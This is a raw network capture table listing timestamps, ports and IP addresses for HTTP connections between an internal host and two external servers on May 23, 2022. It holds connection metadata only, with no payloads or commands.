May 23, 2022 09:50:03.970398903 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.970417023 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.970422983 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.970436096 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.970448971 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.970467091 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.970479965 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.970566034 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.970593929 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.971311092 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.023710012 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.023760080 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.023855925 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.048155069 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.048187017 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.048333883 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.060664892 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.060704947 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.060726881 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.060744047 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.060879946 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.060889959 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.060902119 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.060947895 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.060961962 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.070825100 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.070861101 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.070888996 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.070916891 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.071067095 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.071532011 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.071561098 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.071588993 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.071616888 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.071685076 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.071707964 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.100500107 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.100591898 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.100785017 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.108119011 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.108175039 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.108216047 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.108253956 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.108295918 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.108298063 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.108325958 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.108331919 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.108335972 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.108341932 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.108395100 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.119677067 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.119735003 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.119805098 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.119852066 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.119853973 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.119898081 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.119904995 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.119910002 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.123275042 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.123333931 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.123375893 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.123414993 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.123421907 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.123450994 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.123462915 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.123513937 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.123564005 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.123588085 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.123625994 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.123636961 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.123667955 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.123672962 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.123718023 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.124469042 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.124545097 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.124588013 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.124597073 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.124628067 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.124633074 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.124638081 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.124675035 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.126179934 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.178232908 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.178292036 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.178541899 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.202805042 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.202851057 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.203025103 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.210948944 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.210993052 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.211034060 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.211111069 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.211137056 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.211193085 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.211201906 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.211257935 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.211298943 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.211312056 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.211349964 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.223020077 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.223079920 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.223120928 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.223161936 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.223243952 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.223261118 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.223265886 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.223293066 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.223335981 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.223351955 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.223375082 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.223378897 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.223414898 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.223422050 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.223459959 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.260540009 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.260585070 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.260844946 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.263848066 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.263891935 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.263941050 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.264009953 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.264058113 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.264107943 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.264113903 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.264256954 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.264298916 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.264328957 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.264349937 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.278764009 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.278827906 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.278871059 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.278902054 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.279057980 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.279793024 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.279908895 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.279953003 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.279989004 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.279993057 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.280020952 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.280035019 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.280062914 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.280088902 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.280164957 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.280204058 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.280226946 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.280244112 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.280253887 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.280283928 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.280297995 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.280342102 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.282713890 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.282757998 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.282799959 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.282855988 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.282902956 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.282922029 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.282946110 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.282962084 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.282994032 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.283041954 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.328763008 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.328824997 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.328939915 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.328982115 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.361814022 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.361897945 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.362066984 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.362114906 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.387068033 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.387125015 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.387264013 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.406593084 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.406677961 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.406719923 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.406744003 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.406759977 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.406800032 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.406807899 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.406857967 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.420384884 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.420429945 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.420468092 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.420540094 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.420561075 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.420598030 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.420604944 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.421108961 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.421150923 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.421178102 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.421191931 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.421220064 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.421235085 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.421261072 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.421278000 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.421300888 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.421319962 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.421344995 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.421360970 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.421381950 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.421401978 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.421422005 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.421473980 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.421715975 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.421758890 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.421792984 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.421804905 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.421845913 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.421883106 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.421892881 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.421896935 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.432571888 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.432656050 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.432702065 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.432743073 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.432809114 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.434385061 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.434411049 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.434454918 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.434489965 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.434493065 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.434509993 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.434533119 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.434542894 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.434571981 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.434582949 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.434612989 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.434623003 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.434664011 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.436913013 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.436952114 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.437022924 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.439783096 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.471549034 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.471637964 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.471678019 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.471716881 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.471805096 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.472995043 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.473038912 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.473076105 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.473105907 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.473135948 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.473155975 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.473161936 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.473165989 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.485182047 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.485244989 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.485404015 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.520195961 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.520255089 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.520380020 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.521920919 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.556696892 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.556763887 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.556946993 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.580809116 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.580904961 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.580949068 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.580991030 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.581067085 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.581114054 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.596005917 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.596075058 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.596215010 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.596292019 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.596313000 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.596358061 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.596365929 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.598733902 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.598782063 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.598941088 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.598944902 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.598984003 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.599033117 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.599057913 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.599061012 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.599100113 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.599121094 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.599138975 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.599150896 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.599179983 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.599191904 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.599217892 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.599235058 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.599258900 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.599262953 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.599298000 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.599314928 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.599335909 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.599354029 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.599379063 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.599788904 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.609112978 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.609194994 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.609384060 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.609430075 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.612282991 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.612329006 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.612369061 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.612409115 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.612426996 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.612473011 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.612479925 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.615401030 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.615446091 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.615485907 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.615509033 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.615525007 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.615525961 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.615549088 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.615565062 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.615583897 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.615603924 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:04.615629911 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:04.615674973 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:06.422909021 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.452095032 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.452270031 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.452677011 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.481776953 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.527494907 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.527519941 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.527535915 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.527546883 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.527561903 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.527580023 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.527595043 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.527611971 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.527627945 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.527765036 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.527812958 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.531280994 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.556988955 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.557030916 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.557084084 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.557087898 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.557111979 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.557126045 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.557140112 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.557142973 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.557168007 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.557188034 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.557195902 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.557205915 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.557224989 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.557243109 CEST	49172	80	192.168.2.22	85.114.142.153
May 23, 2022 09:50:06.557252884 CEST	80	49172	85.114.142.153	192.168.2.22
May 23, 2022 09:50:06.557255030 CEST	49172	80	192.168.2.22	85.114.142.153
